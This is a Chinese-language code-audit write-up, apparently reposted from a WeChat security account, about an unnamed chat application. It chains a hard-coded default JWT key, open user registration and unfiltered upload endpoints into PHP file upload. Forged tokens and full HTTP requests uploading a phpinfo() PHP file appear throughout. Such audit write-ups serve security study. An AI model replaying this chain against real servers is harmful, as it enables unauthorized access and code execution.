记某微聊源码代码审计过程

admin 2025年5月8日08:56:14评论0 views字数 7790阅读25分58秒阅读模式

前言

最近分析的一套源码中,发现几个有趣的漏洞,可以利用漏洞获取token,然后实现文件上传。

  • • JWT 密钥硬编码,可伪造合法 Token;
  • • 任意用户注册接口,允许轻松获取有效身份;
  • • 利用前两者获取认证 Token,最终实现文件上传操作。

以下是详细分析与复现过程。首发土司论坛

jwt 硬编码

漏洞路径 imv3appimcontrollerIn.php

privatestaticfunctioncreateToken($user_id){$jwt = newJwt;$db_data = System::where('key','JWT')->select()->toArray();Jwt::$key = $db_data[0]['value']['key']['value'];Jwt::$timeNum = $db_data[0]['value']['time']['value'];$payload = ['user_id' => $user_id,        ];return$jwt->getToken($payload);}

从代码上看 jwt加密的 key是从数据库中获取的,默认的 key= 12345678

记某微聊源码代码审计过程

知道key我们就可以伪造token了

createToken 中传入了 user_id 到 getToken函数 构造jwt

记某微聊源码代码审计过程

分析可见,JWT 的密钥是从数据库中读取的默认值,在初始化时设定。若数据库中使用的是默认配置(如 key=12345678),则攻击者一旦得知密钥,即可伪造任意用户的合法 token,前提其中user_id 必须是在数据库中存在的id值。

{"user_id"15,"iss""im_http","iat"1743150032,"exp"7743150032,"nbf"1743150032,"sub""","jti""70ca964d0b359e00dfeb753d30734d27"}
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxNSwiaXNzIjoiaW1faHR0cCIsImlhdCI6MTc0MzE1MDAzMiwiZXhwIjo3NzQzMTUwMDMyLCJuYmYiOjE3NDMxNTAwMzIsInN1YiI6IiIsImp0aSI6IjcwY2E5NjRkMGIzNTllMDBkZmViNzUzZDMwNzM0ZDI3In0.BQnb8PAm5ncn0lXSQbBHzJ3KtgX4Tz-xfUwFEyVUyO8
记某微聊源码代码审计过程

任意用户注册

可通过注册用户获取token配合下面的文件上传漏洞getshell

imv3appimcontrollerIn.php

记某微聊源码代码审计过程
POST /index.php/im/In/reg HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134""Not:A-Brand";v="24""Google Chrome";v="134"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateAccept-Encoding: gzip, deflate, br, zstdCookie: PHPSESSID=li01t8tnhck6hhq788ci27kvj2Accept-Language: zh-CN,zh;q=0.9sec-ch-ua-mobile: ?0Sec-Fetch-User: ?1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentContent-Type: application/x-www-form-urlencodedusername=admin111&password=123456&nickname=ters&_agent_id=0
记某微聊源码代码审计过程

可通过登录接口获取token

POST /index.php/im/In/login HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateAccept-Encoding: gzip, deflate, br, zstdCookie: PHPSESSID=li01t8tnhck6hhq788ci27kvj2Accept-Language: zh-CN,zh;q=0.9sec-ch-ua-mobile: ?0Sec-Fetch-User: ?1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentContent-Type: application/x-www-form-urlencodedusername=admin111&password=123456&_agent_id=
记某微聊源码代码审计过程

任意文件上传漏洞

配合JWT硬编码漏洞或者利用任意用户注册漏洞获取token,实现文件上传

chat函数

imv3appimcontrollerUpload.php

publicfunctionchat(){$return_data = ['err' => 1,'msg' => 'fail'        ];$post_data = Request::post();$file = request()->file('file');if(!$file || !$post_data){$return_data['msg'] = 'error';returnjson($return_data);        }$save_path = '../public/static/chat/' . $post_data['list_id'] . '/';if(!$info = $file->move($save_path,true,false)){$return_data['msg'] = $file->getError();returnjson($return_data);        }$save_name = str_replace("\","/",$info->getSaveName());/** 如果是图片上传,产生一个缩略图 */if(strpos($file->getInfo()['type'],'image') !== false){$image = Image::open($save_path . $save_name);$max_width = '175';$max_height = '175';$width = $image->width();$height = $image->height();if($width > $max_width || $height > $max_height){$scale = $width / $height;$width = $scale > 1 ? $max_width : ($max_height * $scale);$height = $scale > 1 ? ($max_width / $scale) : $height;$array_save_name = explode('.',$save_name);$image->thumb($width$height)->save($save_path . $array_save_name[0] . '_thumb.' . $array_save_name[1]);                  }        }$return_data['err'] = 0;$return_data['msg'] = 'success';$return_data['data'] = [ 'save_name' => $save_name, ];returnjson($return_data);    }

$post_data:获取POST请求中的表单数据。$file:获取上传的文件。

$save_path = '../public/static/chat/' . $post_data['list_id'] . '/';if(!$info = $file->move($save_path,true,false)){$return_data['msg'] = $file->getError();returnjson($return_data);}

构造保存路径:../public/static/chat/{list_id}/,其中list_id来自$post_data['list_id']

将文件移动到目标路径,如果失败则返回错误信息。

POST /index.php/im/Upload/chat?_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo3LCJpc3MiOiJpbV9odHRwIiwiaWF0IjoxNzQzMTUwMDMyLCJleHAiOjc3NDMxNTAwMzIsIm5iZiI6MTc0MzE1MDAzMiwic3ViIjoiIiwianRpIjoiNzBjYTk2NGQwYjM1OWUwMGRmZWI3NTNkMzA3MzRkMjcifQ.5YRHj3u0S6F-7Z5Hgdxdgq_QRYMtNH-0IBMtu9cqHfc HTTP/1.1Host: 127.0.0.1Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-platform: "Windows"Sec-Fetch-Dest: documentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-mobile: ?0Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIdQKI5zGtZurs4coContent-Length: 392------WebKitFormBoundaryIdQKI5zGtZurs4coContent-Disposition: form-data; name="file";filename="1.php";<?php phpinfo();?>------WebKitFormBoundaryIdQKI5zGtZurs4coContent-Disposition: form-data; name="list_id";111------WebKitFormBoundaryIdQKI5zGtZurs4co--
记某微聊源码代码审计过程
记某微聊源码代码审计过程

文件访问路径:/static/chat/{list_id}/20250328/fe30229bc77d5117b936e83a69e3403d.php

circle 函数

跟上面那个方法使用一样的文件上传方式,都没有进行过滤

publicfunctioncircle(){$return_data = ['err' => 1,'msg' => 'fail'      ];$post_data = Request::post();$file = request()->file('file');if(!$file || !$post_data){$return_data['msg'] = 'error';returnjson($return_data);      }$save_path = '../public/static/circle/' . USER_ID . '/';if(!$info = $file->move($save_path,true,false)){$return_data['msg'] = $file->getError();returnjson($return_data);      }$save_name = str_replace("\","/",$info->getSaveName());/** 如果是图片上传,产生一个缩略图 */if(strpos($file->getInfo()['type'],'image') !== false){$image = Image::open($save_path . $save_name);if($post_data['len'] < 2){$width = 135;$height = 210;        } else {$width = 120;$height = 120;        }$array_save_name = explode('.',$save_name);$save_name = $array_save_name[0] . '_thumb.' . $array_save_name[1];$image->thumb($width$height)->save($save_path . $save_name);      }$return_data['err'] = 0;$return_data['msg'] = 'success';$return_data['data'] = ['save_name' => $save_name,      ];returnjson($return_data);    }
POST /index.php/im/Upload/circle?_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxNSwiaXNzIjoiaW1faHR0cCIsImlhdCI6MTc0MzE1MDAzMiwiZXhwIjo3NzQzMTUwMDMyLCJuYmYiOjE3NDMxNTAwMzIsInN1YiI6IiIsImp0aSI6IjcwY2E5NjRkMGIzNTllMDBkZmViNzUzZDMwNzM0ZDI3In0.BQnb8PAm5ncn0lXSQbBHzJ3KtgX4Tz-xfUwFEyVUyO8 HTTP/1.1Host: Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1sec-ch-ua: "Chromium";v="134""Not:A-Brand";v="24""Google Chrome";v="134"sec-ch-ua-platform: "Windows"Sec-Fetch-Dest: documentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-mobile: ?0Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIdQKI5zGtZurs4coContent-Length: 392------WebKitFormBoundaryIdQKI5zGtZurs4coContent-Disposition: form-data; name="file";filename="1.php";<?php phpinfo();?>------WebKitFormBoundaryIdQKI5zGtZurs4coContent-Disposition: form-data; name="len";111------WebKitFormBoundaryIdQKI5zGtZurs4co--
记某微聊源码代码审计过程

文件访问路径:/static/chat/USER_ID/20250328/fe30229bc77d5117b936e83a69e3403d.phpUSER_ID 就是 15

记某微聊源码代码审计过程

总结

文件上传功能本身没有进行过滤,所以考虑的是如何获取到token,主要两个方法

  • • jwt硬编码
  • • 任意用户注册

         公众号后台回复 20250508 获取源码

原文始发于微信公众号(安全逐梦人):记某微聊源码代码审计过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月8日08:56:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记某微聊源码代码审计过程https://cn-sec.com/archives/4040440.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息